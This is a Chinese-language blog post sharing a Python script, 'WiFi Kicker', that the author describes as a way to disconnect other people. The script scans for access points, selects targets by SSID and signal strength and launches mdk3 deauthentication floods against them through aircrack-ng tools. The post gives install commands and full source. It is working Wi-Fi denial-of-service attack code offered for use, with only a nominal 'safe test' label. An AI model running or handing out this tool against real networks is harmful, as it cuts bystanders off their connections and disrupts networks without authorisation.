今天實在太過閒,其實也不閒,只是不想花時間讀書,一想到就厭煩。於是就用Python寫了個小程式當作練習。
WiFi Kicker,看名稱就知道大概是讓別人斷線的程式。
主要功能:選擇性DOS目標,自訂目標SSID(有些地方有很多個相同名稱,但實際上都是不同的基地台,例如學校、公司…等)、自訂訊號強度(舉例:訊號強度要大於-70dbm才DeAuth DOS攻擊)、自訂間隔時間。
首先…因為我初學,所以程式設計得不是很好。必須要有兩張網卡,wlan0,wlan1,
而wlan1必須要支援mon模式。
必要組件:aircrack、mdk3、python wifi lib。
apt-get install python-pip
apt-get install aircrack-ng
apt-get install mdk3
pip install wifi
這主要是針對我自己的平板所寫的,桌面環境為LXDE。指令裡面有寫到 lxterminal 這個應用程式,所以可能要自己修改一下。
開發緣由:我自己的AR9271這網卡在某些場所搜尋的裝置實在太多了!如果開了 mdk3 根本Dos不到什麼東西。反而自己的網卡Down了。所以我自己寫了一個根據訊號強度和目標裝置SSID,特定目標DOS會比較有效一點。
wifi_kicker.py - Source Code
# coding: utf-8
"""By Weil Jimmer - For Safe Test Only"""
from wifi import Cell, Scheme
import time,os,subprocess
def __init__(self):
print("")
class wcolors:
GRAY = "\033[1;30m"
RED = "\033[1;31m"
LIME = "\033[1;32m"
YELLOW = "\033[1;33m"
BLUE = "\033[1;34m"
MAGENTA = "\033[1;35m"
CYAN = "\033[1;36m"
WHITE = "\033[1;37m"
DARK_RED = "\033[1;38m"
BGRAY = "\033[1;47m"
BRED = "\033[1;41m"
BLIME = "\033[1;42m"
BYELLOW = "\033[1;43m"
BBLUE = "\033[1;44m"
BMAGENTA = "\033[1;45m"
BCYAN = "\033[1;46m"
BDARK_RED = "\033[1;48m"
BOLD = "\033[1m"
UNDERLINE = "\033[4m"
END = "\033[1;m"
END_BOLD = "\033[1m"
print ("\033[1;31;40m")
print ("*" * 40)
print ("* ")
print ("* Name:\t" + wcolors.BOLD + "WiFi Ass Kicker" + wcolors.END_BOLD)
print ("* ")
print ("* Team:\tWhite Birch Forum Team")
print ("* ")
print ("* Website:\thttp://0000.twgogo.org/")
print ("* ")
print ("* Date:\t2015.09.20")
print ("* ")
print ("*" * 40)
print ("\033[0m")
target_singal_limit = int(raw_input("目標訊號強度(請加負號):"))
target_ssid = str(raw_input("目標SSID(選填,可留空):"))
time_X = int(raw_input("間隔秒數:"))
if time_X<=0:
time_X=10
os.system("ifconfig wlan1 up")
time.sleep(2)
print("wlan1 UP..")
os.system("airmon-ng start wlan1")
time.sleep(2)
print("wlan1mon UP..")
os.system("lxterminal -e 'bash -c \"airodump-ng wlan1mon; exec bash\"'")
os.system("lxterminal -e 'bash -c \"mdk3 wlan1mon d -b black_list.txt -s 1024; exec bash\"'")
try:
while True:
try:
target_mac=[]
print(wcolors.RED + "Scanning..." + wcolors.END)
k=Cell.all('wlan0')
print(wcolors.RED + "Scan Done." + wcolors.END)
for x in range(0,len(k)):
if (k[x].signal>=target_singal_limit and (target_ssid==k[x].ssid or target_ssid=="")):
target_mac.append(str(k[x].address))
print("Found MAC:" + wcolors.RED + str(k[x].address) + wcolors.END + "\tSIGNAL:" + wcolors.RED + str(k[x].signal) + wcolors.END + "\tSSID:" + wcolors.RED + k[x].ssid + wcolors.END)
else:
print("Found MAC:" + wcolors.YELLOW + str(k[x].address) + wcolors.END + "\tSIGNAL:" + wcolors.YELLOW + str(k[x].signal) + wcolors.END + "\tSSID:" + wcolors.YELLOW + k[x].ssid + wcolors.END)
target = open('./black_list.txt', 'w')
for x in range(0,len(target_mac)):
target.write(target_mac[x] + "\n")
target.close()
except:
print("")
time.sleep(time_X)
except:
os.system("airmon-ng stop wlan1mon")
time.sleep(2)
print("wlan1mon DOWN..")
input("\n\n請輸入任意鍵結束...");